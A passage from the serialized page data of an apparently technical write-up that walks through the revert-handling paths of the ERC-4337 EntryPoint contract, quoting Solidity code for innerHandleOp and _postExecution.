",{"type":23,"tag":135,"props":103444,"children":103446},{"className":103445},[],[103447],{"type":28,"value":103448},"success",{"type":28,"value":3504},{"type":23,"tag":135,"props":103451,"children":103453},{"className":103452},[],[103454],{"type":28,"value":6179},{"type":28,"value":103456},"), the code enters an ",{"type":23,"tag":64,"props":103458,"children":103461},{"href":103459,"rel":103460},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[68],[103462],{"type":28,"value":103463},"error handling",{"type":28,"value":103465}," flow that checks the ",{"type":23,"tag":135,"props":103467,"children":103469},{"className":103468},[],[103470],{"type":28,"value":103471},"innerRevertCode",{"type":28,"value":103473},". There are three possible paths:",{"type":23,"tag":797,"props":103475,"children":103476},{},[103477,103501,103519],{"type":23,"tag":801,"props":103478,"children":103479},{},[103480,103481,103486,103487,103493,103495,103500],{"type":28,"value":5483},{"type":23,"tag":135,"props":103482,"children":103484},{"className":103483},[],[103485],{"type":28,"value":103471},{"type":28,"value":3504},{"type":23,"tag":135,"props":103488,"children":103490},{"className":103489},[],[103491],{"type":28,"value":103492},"INNER_OUT_OF_GAS",{"type":28,"value":103494},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":135,"props":103496,"children":103498},{"className":103497},[],[103499],{"type":28,"value":103144},{"type":28,"value":73},{"type":23,"tag":801,"props":103502,"children":103503},{},[103504,103505,103510,103511,103517],{"type":28,"value":5483},{"type":23,"tag":135,"props":103506,"children":103508},{"className":103507},[],[103509],{"type":28,"value":103471},{"type":28,"value":3504},{"type":23,"tag":135,"props":103512,"children":103514},{"className":103513},[],[103515],{"type":28,"value":103516},"INNER_REVERT_LOW_PREFUND",{"type":28,"value":103518},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":801,"props":103520,"children":103521},{},[103522,103524,103530,103532,103538],{"type":28,"value":103523},"For any other revert reason, the code will still call ",{"type":23,"tag":135,"props":103525,"children":103527},{"className":103526},[],[103528],{"type":28,"value":103529},"_postExecution()",{"type":28,"value":103531}," but with ",{"type":23,"tag":135,"props":103533,"children":103535},{"className":103534},[],[103536],{"type":28,"value":103537},"PostOpMode.postOpReverted",{"type":28,"value":103539},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":24,"props":103541,"children":103542},{},[103543,103545,103550,103552,103557,103559,103564,103566,103571],{"type":28,"value":103544},"We're particularly interested in the third error path, where ",{"type":23,"tag":135,"props":103546,"children":103548},{"className":103547},[],[103549],{"type":28,"value":103471},{"type":28,"value":103551}," is neither ",{"type":23,"tag":135,"props":103553,"children":103555},{"className":103554},[],[103556],{"type":28,"value":103492},{"type":28,"value":103558}," nor ",{"type":23,"tag":135,"props":103560,"children":103562},{"className":103561},[],[103563],{"type":28,"value":103516},{"type":28,"value":103565},". To understand this case better, let's examine how ",{"type":23,"tag":135,"props":103567,"children":103569},{"className":103568},[],[103570],{"type":28,"value":103427},{"type":28,"value":103572}," works.",{"type":23,"tag":128,"props":103574,"children":103576},{"className":2476,"code":103575,"language":2475,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[103577],{"type":23,"tag":135,"props":103578,"children":103579},{"__ignoreMap":7},[103580,103596,103617,103637,103653,103686,103693,103710,103734,103774,103793,103818,103852,103876,103893,103901,103909,103917,103925,103933,103940,103953,103970,103977,103984,103991,104002,104041,104057,104064],{"type":23,"tag":139,"props":103581,"children":103582},{"class":141,"line":142},[103583,103587,103592],{"type":23,"tag":139,"props":103584,"children":103585},{"style":279},[103586],{"type":28,"value":87735},{"type":23,"tag":139,"props":103588,"children":103589},{"style":245},[103590],{"type":28,"value":103591}," innerHandleOp",{"type":23,"tag":139,"props":103593,"children":103594},{"style":259},[103595],{"type":28,"value":1443},{"type":23,"tag":139,"props":103597,"children":103598},{"class":141,"line":151},[103599,103604,103608,103613],{"type":23,"tag":139,"props":103600,"children":103601},{"style":305},[103602],{"type":28,"value":103603},"        bytes",{"type":23,"tag":139,"props":103605,"children":103606},{"style":279},[103607],{"type":28,"value":100984},{"type":23,"tag":139,"props":103609,"children":103610},{"style":294},[103611],{"type":28,"value":103612}," callData",{"type":23,"tag":139,"props":103614,"children":103615},{"style":259},[103616],{"type":28,"value":1488},{"type":23,"tag":139,"props":103618,"children":103619},{"class":141,"line":160},[103620,103624,103628,103633],{"type":23,"tag":139,"props":103621,"children":103622},{"style":279},[103623],{"type":28,"value":102644},{"type":23,"tag":139,"props":103625,"children":103626},{"style":279},[103627],{"type":28,"value":100984},{"type":23,"tag":139,"props":103629,"children":103630},{"style":294},[103631],{"type":28,"value":103632}," opInfo",{"type":23,"tag":139,"props":103634,"children":103635},{"style":259},[103636],{"type":28,"value":1488},{"type":23,"tag":139,"props":103638,"children":103639},{"class":141,"line":169},[103640,103644,103648],{"type":23,"tag":139,"props":103641,"children":103642},{"style":305},[103643],{"type":28,"value":103603},{"type":23,"tag":139,"props":103645,"children":103646},{"style":279},[103647],{"type":28,"value":100916},{"type":23,"tag":139,"props":103649,"children":103650},{"style":294},[103651],{"type":28,"value":103652}," context\n",{"type":23,"tag":139,"props":103654,"children":103655},{"class":141,"line":178},[103656,103661,103666,103670,103674,103678,103682],{"type":23,"tag":139,"props":103657,"children":103658},{"style":259},[103659],{"type":28,"value":103660},"    ) ",{"type":23,"tag":139,"props":103662,"children":103663},{"style":279},[103664],{"type":28,"value":103665},"external",{"type":23,"tag":139,"props":103667,"children":103668},{"style":319},[103669],{"type":28,"value":73897},{"type":23,"tag":139,"props":103671,"children":103672},{"style":259},[103673],{"type":28,"value":1042},{"type":23,"tag":139,"props":103675,"children":103676},{"style":305},[103677],{"type":28,"value":44064},{"type":23,"tag":139,"props":103679,"children":103680},{"style":294},[103681],{"type":28,"value":101725},{"type":23,"tag":139,"props":103683,"children":103684},{"style":259},[103685],{"type":28,"value":12815},{"type":23,"tag":139,"props":103687,"children":103688},{"class":141,"line":187},[103689],{"type":23,"tag":139,"props":103690,"children":103691},{"style":259},[103692],{"type":28,"value":102705},{"type":23,"tag":139,"props":103694,"children":103695},{"class":141,"line":196},[103696,103701,103705],{"type":23,"tag":139,"props":103697,"children":103698},{"style":259},[103699],{"type":28,"value":103700},"        IPaymaster.PostOpMode mode ",{"type":23,"tag":139,"props":103702,"children":103703},{"style":982},[103704],{"type":28,"value":1067},{"type":23,"tag":139,"props":103706,"children":103707},{"style":259},[103708],{"type":28,"value":103709}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":139,"props":103711,"children":103712},{"class":141,"line":205},[103713,103717,103722,103726,103730],{"type":23,"tag":139,"props":103714,"children":103715},{"style":319},[103716],{"type":28,"value":1249},{"type":23,"tag":139,"props":103718,"children":103719},{"style":259},[103720],{"type":28,"value":103721}," (callData.length ",{"type":23,"tag":139,"props":103723,"children":103724},{"style":982},[103725],{"type":28,"value":8471},{"type":23,"tag":139,"props":103727,"children":103728},{"style":1016},[103729],{"type":28,"value":1019},{"type":23,"tag":139,"props":103731,"children":103732},{"style":259},[103733],{"type":28,"value":12815},{"type":23,"tag":139,"props":103735,"children":103736},{"class":141,"line":214},[103737,103742,103747,103751,103756,103760,103765,103769],{"type":23,"tag":139,"props":103738,"children":103739},{"style":305},[103740],{"type":28,"value":103741},"            bool",{"type":23,"tag":139,"props":103743,"children":103744},{"style":259},[103745],{"type":28,"value":103746}," success ",{"type":23,"tag":139,"props":103748,"children":103749},{"style":982},[103750],{"type":28,"value":1067},{"type":23,"tag":139,"props":103752,"children":103753},{"style":259},[103754],{"type":28,"value":103755}," Exec.",{"type":23,"tag":139,"props":103757,"children":103758},{"style":245},[103759],{"type":28,"value":36186},{"type":23,"tag":139,"props":103761,"children":103762},{"style":259},[103763],{"type":28,"value":103764},"(mUserOp.sender, ",{"type":23,"tag":139,"props":103766,"children":103767},{"style":1016},[103768],{"type":28,"value":2021},{"type":23,"tag":139,"props":103770,"children":103771},{"style":259},[103772],{"type":28,"value":103773},", callData, callGasLimit);\n",{"type":23,"tag":139,"props":103775,"children":103776},{"class":141,"line":1320},[103777,103781,103785,103789],{"type":23,"tag":139,"props":103778,"children":103779},{"style":319},[103780],{"type":28,"value":56700},{"type":23,"tag":139,"props":103782,"children":103783},{"style":259},[103784],{"type":28,"value":1042},{"type":23,"tag":139,"props":103786,"children":103787},{"style":982},[103788],{"type":28,"value":18629},{"type":23,"tag":139,"props":103790,"children":103791},{"style":259},[103792],{"type":28,"value":103077},{"type":23,"tag":139,"props":103794,"children":103795},{"class":141,"line":1329},[103796,103800,103805,103809,103814],{"type":23,"tag":139,"props":103797,"children":103798},{"style":305},[103799],{"type":28,"value":101364},{"type":23,"tag":139,"props":103801,"children":103802},{"style":259},[103803],{"type":28,"value":103804}," freePtr ",{"type":23,"tag":139,"props":103806,"children":103807},{"style":982},[103808],{"type":28,"value":1067},{"type":23,"tag":139,"props":103810,"children":103811},{"style":245},[103812],{"type":28,"value":103813}," _getFreePtr",{"type":23,"tag":139,"props":103815,"children":103816},{"style":259},[103817],{"type":28,"value":1656},{"type":23,"tag":139,"props":103819,"children":103820},{"class":141,"line":1580},[103821,103825,103829,103834,103838,103842,103847],{"type":23,"tag":139,"props":103822,"children":103823},{"style":305},[103824],{"type":28,"value":102761},{"type":23,"tag":139,"props":103826,"children":103827},{"style":279},[103828],{"type":28,"value":100984},{"type":23,"tag":139,"props":103830,"children":103831},{"style":259},[103832],{"type":28,"value":103833}," result ",{"type":23,"tag":139,"props":103835,"children":103836},{"style":982},[103837],{"type":28,"value":1067},{"type":23,"tag":139,"props":103839,"children":103840},{"style":259},[103841],{"type":28,"value":103755},{"type":23,"tag":139,"props":103843,"children":103844},{"style":245},[103845],{"type":28,"value":103846},"getReturnData",{"type":23,"tag":139,"props":103848,"children":103849},{"style":259},[103850],{"type":28,"value":103851},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":139,"props":103853,"children":103854},{"class":141,"line":1597},[103855,103859,103864,103868,103872],{"type":23,"tag":139,"props":103856,"children":103857},{"style":319},[103858],{"type":28,"value":101424},{"type":23,"tag":139,"props":103860,"children":103861},{"style":259},[103862],{"type":28,"value":103863}," (result.length ",{"type":23,"tag":139,"props":103865,"children":103866},{"style":982},[103867],{"type":28,"value":8471},{"type":23,"tag":139,"props":103869,"children":103870},{"style":1016},[103871],{"type":28,"value":1019},{"type":23,"tag":139,"props":103873,"children":103874},{"style":259},[103875],{"type":28,"value":12815},{"type":23,"tag":139,"props":103877,"children":103878},{"class":141,"line":1614},[103879,103884,103889],{"type":23,"tag":139,"props":103880,"children":103881},{"style":319},[103882],{"type":28,"value":103883},"                    emit",{"type":23,"tag":139,"props":103885,"children":103886},{"style":245},[103887],{"type":28,"value":103888}," UserOperationRevertReason",{"type":23,"tag":139,"props":103890,"children":103891},{"style":259},[103892],{"type":28,"value":1443},{"type":23,"tag":139,"props":103894,"children":103895},{"class":141,"line":1627},[103896],{"type":23,"tag":139,"props":103897,"children":103898},{"style":259},[103899],{"type":28,"value":103900},"                        opInfo.userOpHash,\n",{"type":23,"tag":139,"props":103902,"children":103903},{"class":141,"line":1636},[103904],{"type":23,"tag":139,"props":103905,"children":103906},{"style":259},[103907],{"type":28,"value":103908},"                        mUserOp.sender,\n",{"type":23,"tag":139,"props":103910,"children":103911},{"class":141,"line":1659},[103912],{"type":23,"tag":139,"props":103913,"children":103914},{"style":259},[103915],{"type":28,"value":103916},"                        mUserOp.nonce,\n",{"type":23,"tag":139,"props":103918,"children":103919},{"class":141,"line":1667},[103920],{"type":23,"tag":139,"props":103921,"children":103922},{"style":259},[103923],{"type":28,"value":103924},"                        result\n",{"type":23,"tag":139,"props":103926,"children":103927},{"class":141,"line":1676},[103928],{"type":23,"tag":139,"props":103929,"children":103930},{"style":259},[103931],{"type":28,"value":103932},"                    );\n",{"type":23,"tag":139,"props":103934,"children":103935},{"class":141,"line":1745},[103936],{"type":23,"tag":139,"props":103937,"children":103938},{"style":259},[103939],{"type":28,"value":68973},{"type":23,"tag":139,"props":103941,"children":103942},{"class":141,"line":1753},[103943,103948],{"type":23,"tag":139,"props":103944,"children":103945},{"style":245},[103946],{"type":28,"value":103947},"                _restoreFreePtr",{"type":23,"tag":139,"props":103949,"children":103950},{"style":259},[103951],{"type":28,"value":103952},"(freePtr);\n",{"type":23,"tag":139,"props":103954,"children":103955},{"class":141,"line":1783},[103956,103961,103965],{"type":23,"tag":139,"props":103957,"children":103958},{"style":259},[103959],{"type":28,"value":103960},"                mode ",{"type":23,"tag":139,"props":103962,"children":103963},{"style":982},[103964],{"type":28,"value":1067},{"type":23,"tag":139,"props":103966,"children":103967},{"style":259},[103968],{"type":28,"value":103969}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":139,"props":103971,"children":103972},{"class":141,"line":1791},[103973],{"type":23,"tag":139,"props":103974,"children":103975},{"style":259},[103976],{"type":28,"value":56784},{"type":23,"tag":139,"props":103978,"children":103979},{"class":141,"line":1823},[103980],{"type":23,"tag":139,"props":103981,"children":103982},{"style":259},[103983],{"type":28,"value":1326},{"type":23,"tag":139,"props":103985,"children":103986},{"class":141,"line":1831},[103987],{"type":23,"tag":139,"props":103988,"children":103989},{"emptyLinePlaceholder":15},[103990],{"type":28,"value":184},{"type":23,"tag":139,"props":103992,"children":103993},{"class":141,"line":1891},[103994,103998],{"type":23,"tag":139,"props":103995,"children":103996},{"style":319},[103997],{"type":28,"value":101020},{"type":23,"tag":139,"props":103999,"children":104000},{"style":259},[104001],{"type":28,"value":1268},{"type":23,"tag":139,"props":104003,"children":104004},{"class":141,"line":7053},[104005,104009,104013,104017,104021,104025,104029,104033,104037],{"type":23,"tag":139,"props":104006,"children":104007},{"style":305},[104008],{"type":28,"value":101032},{"type":23,"tag":139,"props":104010,"children":104011},{"style":259},[104012],{"type":28,"value":103196},{"type":23,"tag":139,"props":104014,"children":104015},{"style":982},[104016],{"type":28,"value":1067},{"type":23,"tag":139,"props":104018,"children":104019},{"style":259},[104020],{"type":28,"value":103205},{"type":23,"tag":139,"props":104022,"children":104023},{"style":982},[104024],{"type":28,"value":2328},{"type":23,"tag":139,"props":104026,"children":104027},{"style":279},[104028],{"type":28,"value":103214},{"type":23,"tag":139,"props":104030,"children":104031},{"style":259},[104032],{"type":28,"value":12054},{"type":23,"tag":139,"props":104034,"children":104035},{"style":982},[104036],{"type":28,"value":2382},{"type":23,"tag":139,"props":104038,"children":104039},{"style":259},[104040],{"type":28,"value":103227},{"type":23,"tag":139,"props":104042,"children":104043},{"class":141,"line":7071},[104044,104048,104052],{"type":23,"tag":139,"props":104045,"children":104046},{"style":319},[104047],{"type":28,"value":76980},{"type":23,"tag":139,"props":104049,"children":104050},{"style":245},[104051],{"type":28,"value":103336},{"type":23,"tag":139,"props":104053,"children":104054},{"style":259},[104055],{"type":28,"value":104056},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":139,"props":104058,"children":104059},{"class":141,"line":7116},[104060],{"type":23,"tag":139,"props":104061,"children":104062},{"style":259},[104063],{"type":28,"value":1326},{"type":23,"tag":139,"props":104065,"children":104066},{"class":141,"line":7222},[104067],{"type":23,"tag":139,"props":104068,"children":104069},{"style":259},[104070],{"type":28,"value":1335},{"type":23,"tag":24,"props":104072,"children":104073},{},[104074,104076,104081,104083,104088,104090,104096,104098,104104,104106,104111,104113,104123],{"type":28,"value":104075},"We observe that, in the happy path, ",{"type":23,"tag":135,"props":104077,"children":104079},{"className":104078},[],[104080],{"type":28,"value":103427},{"type":28,"value":104082}," is expected to not only execute the actual ",{"type":23,"tag":135,"props":104084,"children":104086},{"className":104085},[],[104087],{"type":28,"value":100086},{"type":28,"value":104089}," call, but also call ",{"type":23,"tag":135,"props":104091,"children":104093},{"className":104092},[],[104094],{"type":28,"value":104095},"_postExecution",{"type":28,"value":104097},". This means that the third failure handling path, which passes ",{"type":23,"tag":135,"props":104099,"children":104101},{"className":104100},[],[104102],{"type":28,"value":104103},"postOpReverted",{"type":28,"value":104105}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":135,"props":104107,"children":104109},{"className":104108},[],[104110],{"type":28,"value":104095},{"type":28,"value":104112}," call ",{"type":23,"tag":56,"props":104114,"children":104115},{},[104116,104118],{"type":28,"value":104117},"inside ",{"type":23,"tag":135,"props":104119,"children":104121},{"className":104120},[],[104122],{"type":28,"value":103427},{"type":28,"value":73},{"type":23,"tag":24,"props":104125,"children":104126},{},[104127,104129,104134],{"type":28,"value":104128},"Let's examine the ",{"type":23,"tag":135,"props":104130,"children":104132},{"className":104131},[],[104133],{"type":28,"value":104095},{"type":28,"value":104135}," code to understand where the revert might occur.",{"type":23,"tag":128,"props":104137,"children":104139},{"className":2476,"code":104138,"language":2475,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[104140],{"type":23,"tag":135,"props":104141,"children":104142},{"__ignoreMap":7},[104143,104158,104183,104202,104221,104233,104270,104277,104309,104326,104341,104357,104381,104406,104430,104452,104470,104487,104495,104513,104529,104562,104580,104587,104594,104602,104618,104650,104672,104679,104686,104693],{"type":23,"tag":139,"props":104144,"children":104145},{"class":141,"line":142},[104146,104150,104154],{"type":23,"tag":139,"props":104147,"children":104148},{"style":279},[104149],{"type":28,"value":87735},{"type":23,"tag":139,"props":104151,"children":104152},{"style":245},[104153],{"type":28,"value":103336},{"type":23,"tag":139,"props":104155,"children":104156},{"style":259},[104157],{"type":28,"value":1443},{"type":23,"tag":139,"props":104159,"children":104160},{"class":141,"line":151},[104161,104166,104170,104174,104179],{"type":23,"tag":139,"props":104162,"children":104163},{"style":279},[104164],{"type":28,"value":104165},"        IPaymaster",{"type":23,"tag":139,"props":104167,"children":104168},{"style":259},[104169],{"type":28,"value":73},{"type":23,"tag":139,"props":104171,"children":104172},{"style":294},[104173],{"type":28,"value":101696},{"type":23,"tag":139,"props":104175,"children":104176},{"style":294},[104177],{"type":28,"value":104178}," mode",{"type":23,"tag":139,"props":104180,"children":104181},{"style":259},[104182],{"type":28,"value":1488},{"type":23,"tag":139,"props":104184,"children":104185},{"class":141,"line":160},[104186,104190,104194,104198],{"type":23,"tag":139,"props":104187,"children":104188},{"style":279},[104189],{"type":28,"value":102644},{"type":23,"tag":139,"props":104191,"children":104192},{"style":279},[104193],{"type":28,"value":100984},{"type":23,"tag":139,"props":104195,"children":104196},{"style":294},[104197],{"type":28,"value":103632},{"type":23,"tag":139,"props":104199,"children":104200},{"style":259},[104201],{"type":28,"value":1488},{"type":23,"tag":139,"props":104203,"children":104204},{"class":141,"line":169},[104205,104209,104213,104217],{"type":23,"tag":139,"props":104206,"children":104207},{"style":305},[104208],{"type":28,"value":103603},{"type":23,"tag":139,"props":104210,"children":104211},{"style":279},[104212],{"type":28,"value":100984},{"type":23,"tag":139,"props":104214,"children":104215},{"style":294},[104216],{"type":28,"value":74244},{"type":23,"tag":139,"props":104218,"children":104219},{"style":259},[104220],{"type":28,"value":1488},{"type":23,"tag":139,"props":104222,"children":104223},{"class":141,"line":178},[104224,104228],{"type":23,"tag":139,"props":104225,"children":104226},{"style":305},[104227],{"type":28,"value":87913},{"type":23,"tag":139,"props":104229,"children":104230},{"style":294},[104231],{"type":28,"value":104232}," actualGas\n",{"type":23,"tag":139,"props":104234,"children":104235},{"class":141,"line":187},[104236,104240,104245,104250,104254,104258,104262,104266],{"type":23,"tag":139,"props":104237,"children":104238},{"style":259},[104239],{"type":28,"value":103660},{"type":23,"tag":139,"props":104241,"children":104242},{"style":279},[104243],{"type":28,"value":104244},"internal",{"type":23,"tag":139,"props":104246,"children":104247},{"style":279},[104248],{"type":28,"value":104249}," virtual",{"type":23,"tag":139,"props":104251,"children":104252},{"style":319},[104253],{"type":28,"value":73897},{"type":23,"tag":139,"props":104255,"children":104256},{"style":259},[104257],{"type":28,"value":1042},{"type":23,"tag":139,"props":104259,"children":104260},{"style":305},[104261],{"type":28,"value":44064},{"type":23,"tag":139,"props":104263,"children":104264},{"style":294},[104265],{"type":28,"value":101725},{"type":23,"tag":139,"props":104267,"children":104268},{"style":259},[104269],{"type":28,"value":12815},{"type":23,"tag":139,"props":104271,"children":104272},{"class":141,"line":196},[104273],{"type":23,"tag":139,"props":104274,"children":104275},{"style":259},[104276],{"type":28,"value":102705},{"type":23,"tag":139,"props":104278,"children":104279},{"class":141,"line":205},[104280,104284,104289,104293,104297,104301,104305],{"type":23,"tag":139,"props":104281,"children":104282},{"style":319},[104283],{"type":28,"value":56700},{"type":23,"tag":139,"props":104285,"children":104286},{"style":259},[104287],{"type":28,"value":104288}," (paymaster ",{"type":23,"tag":139,"props":104290,"children":104291},{"style":982},[104292],{"type":28,"value":6580},{"type":23,"tag":139,"props":104294,"children":104295},{"style":305},[104296],{"type":28,"value":4253},{"type":23,"tag":139,"props":104298,"children":104299},{"style":259},[104300],{"type":28,"value":262},{"type":23,"tag":139,"props":104302,"children":104303},{"style":1016},[104304],{"type":28,"value":2021},{"type":23,"tag":139,"props":104306,"children":104307},{"style":259},[104308],{"type":28,"value":33083},{"type":23,"tag":139,"props":104310,"children":104311},{"class":141,"line":214},[104312,104317,104321],{"type":23,"tag":139,"props":104313,"children":104314},{"style":259},[104315],{"type":28,"value":104316},"                refundAddress ",{"type":23,"tag":139,"props":104318,"children":104319},{"style":982},[104320],{"type":28,"value":1067},{"type":23,"tag":139,"props":104322,"children":104323},{"style":259},[104324],{"type":28,"value":104325}," mUserOp.sender;\n",{"type":23,"tag":139,"props":104327,"children":104328},{"class":141,"line":1320},[104329,104333,104337],{"type":23,"tag":139,"props":104330,"children":104331},{"style":259},[104332],{"type":28,"value":68496},{"type":23,"tag":139,"props":104334,"children":104335},{"style":319},[104336],{"type":28,"value":1293},{"type":23,"tag":139,"props":104338,"children":104339},{"style":259},[104340],{"type":28,"value":1268},{"type":23,"tag":139,"props":104342,"children":104343},{"class":141,"line":1329},[104344,104348,104352],{"type":23,"tag":139,"props":104345,"children":104346},{"style":259},[104347],{"type":28,"value":104316},{"type":23,"tag":139,"props":104349,"children":104350},{"style":982},[104351],{"type":28,"value":1067},{"type":23,"tag":139,"props":104353,"children":104354},{"style":259},[104355],{"type":28,"value":104356}," paymaster;\n",{"type":23,"tag":139,"props":104358,"children":104359},{"class":141,"line":1580},[104360,104364,104369,104373,104377],{"type":23,"tag":139,"props":104361,"children":104362},{"style":319},[104363],{"type":28,"value":101424},{"type":23,"tag":139,"props":104365,"children":104366},{"style":259},[104367],{"type":28,"value":104368}," (context.length ",{"type":23,"tag":139,"props":104370,"children":104371},{"style":982},[104372],{"type":28,"value":8471},{"type":23,"tag":139,"props":104374,"children":104375},{"style":1016},[104376],{"type":28,"value":1019},{"type":23,"tag":139,"props":104378,"children":104379},{"style":259},[104380],{"type":28,"value":12815},{"type":23,"tag":139,"props":104382,"children":104383},{"class":141,"line":1597},[104384,104389,104393,104397,104401],{"type":23,"tag":139,"props":104385,"children":104386},{"style":259},[104387],{"type":28,"value":104388},"                    actualGasCost ",{"type":23,"tag":139,"props":104390,"children":104391},{"style":982},[104392],{"type":28,"value":1067},{"type":23,"tag":139,"props":104394,"children":104395},{"style":259},[104396],{"type":28,"value":103196},{"type":23,"tag":139,"props":104398,"children":104399},{"style":982},[104400],{"type":28,"value":2573},{"type":23,"tag":139,"props":104402,"children":104403},{"style":259},[104404],{"type":28,"value":104405}," gasPrice;\n",{"type":23,"tag":139,"props":104407,"children":104408},{"class":141,"line":1614},[104409,104413,104418,104422,104426],{"type":23,"tag":139,"props":104410,"children":104411},{"style":305},[104412],{"type":28,"value":101381},{"type":23,"tag":139,"props":104414,"children":104415},{"style":259},[104416],{"type":28,"value":104417}," postOpPreGas ",{"type":23,"tag":139,"props":104419,"children":104420},{"style":982},[104421],{"type":28,"value":1067},{"type":23,"tag":139,"props":104423,"children":104424},{"style":279},[104425],{"type":28,"value":103214},{"type":23,"tag":139,"props":104427,"children":104428},{"style":259},[104429],{"type":28,"value":1656},{"type":23,"tag":139,"props":104431,"children":104432},{"class":141,"line":1627},[104433,104438,104443,104447],{"type":23,"tag":139,"props":104434,"children":104435},{"style":319},[104436],{"type":28,"value":104437},"                    if",{"type":23,"tag":139,"props":104439,"children":104440},{"style":259},[104441],{"type":28,"value":104442}," (mode ",{"type":23,"tag":139,"props":104444,"children":104445},{"style":982},[104446],{"type":28,"value":13699},{"type":23,"tag":139,"props":104448,"children":104449},{"style":259},[104450],{"type":28,"value":104451}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":139,"props":104453,"children":104454},{"class":141,"line":1636},[104455,104460,104465],{"type":23,"tag":139,"props":104456,"children":104457},{"style":319},[104458],{"type":28,"value":104459},"                        try",{"type":23,"tag":139,"props":104461,"children":104462},{"style":245},[104463],{"type":28,"value":104464}," IPaymaster",{"type":23,"tag":139,"props":104466,"children":104467},{"style":259},[104468],{"type":28,"value":104469},"(paymaster).postOp{\n",{"type":23,"tag":139,"props":104471,"children":104472},{"class":141,"line":1659},[104473,104478,104482],{"type":23,"tag":139,"props":104474,"children":104475},{"style":259},[104476],{"type":28,"value":104477},"                                gas",{"type":23,"tag":139,"props":104479,"children":104480},{"style":982},[104481],{"type":28,"value":2493},{"type":23,"tag":139,"props":104483,"children":104484},{"style":259},[104485],{"type":28,"value":104486}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":139,"props":104488,"children":104489},{"class":141,"line":1667},[104490],{"type":23,"tag":139,"props":104491,"children":104492},{"style":259},[104493],{"type":28,"value":104494},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":139,"props":104496,"children":104497},{"class":141,"line":1676},[104498,104503,104508],{"type":23,"tag":139,"props":104499,"children":104500},{"style":958},[104501],{"type":28,"value":104502},"                        // ",{"type":23,"tag":139,"props":104504,"children":104505},{"style":279},[104506],{"type":28,"value":104507},"solhint-disable",{"type":23,"tag":139,"props":104509,"children":104510},{"style":958},[104511],{"type":28,"value":104512},"-next-line no-empty-blocks\n",{"type":23,"tag":139,"props":104514,"children":104515},{"class":141,"line":1745},[104516,104521,104525],{"type":23,"tag":139,"props":104517,"children":104518},{"style":259},[104519],{"type":28,"value":104520},"                        {} ",{"type":23,"tag":139,"props":104522,"children":104523},{"style":319},[104524],{"type":28,"value":46308},{"type":23,"tag":139,"props":104526,"children":104527},{"style":259},[104528],{"type":28,"value":1268},{"type":23,"tag":139,"props":104530,"children":104531},{"class":141,"line":1753},[104532,104537,104541,104546,104550,104554,104558],{"type":23,"tag":139,"props":104533,"children":104534},{"style":305},[104535],{"type":28,"value":104536},"                            bytes",{"type":23,"tag":139,"props":104538,"children":104539},{"style":279},[104540],{"type":28,"value":100984},{"type":23,"tag":139,"props":104542,"children":104543},{"style":259},[104544],{"type":28,"value":104545}," reason ",{"type":23,"tag":139,"props":104547,"children":104548},{"style":982},[104549],{"type":28,"value":1067},{"type":23,"tag":139,"props":104551,"children":104552},{"style":259},[104553],{"type":28,"value":103755},{"type":23,"tag":139,"props":104555,"children":104556},{"style":245},[104557],{"type":28,"value":103846},{"type":23,"tag":139,"props":104559,"children":104560},{"style":259},[104561],{"type":28,"value":103851},{"type":23,"tag":139,"props":104563,"children":104564},{"class":141,"line":1783},[104565,104570,104575],{"type":23,"tag":139,"props":104566,"children":104567},{"style":319},[104568],{"type":28,"value":104569},"                            revert",{"type":23,"tag":139,"props":104571,"children":104572},{"style":245},[104573],{"type":28,"value":104574}," 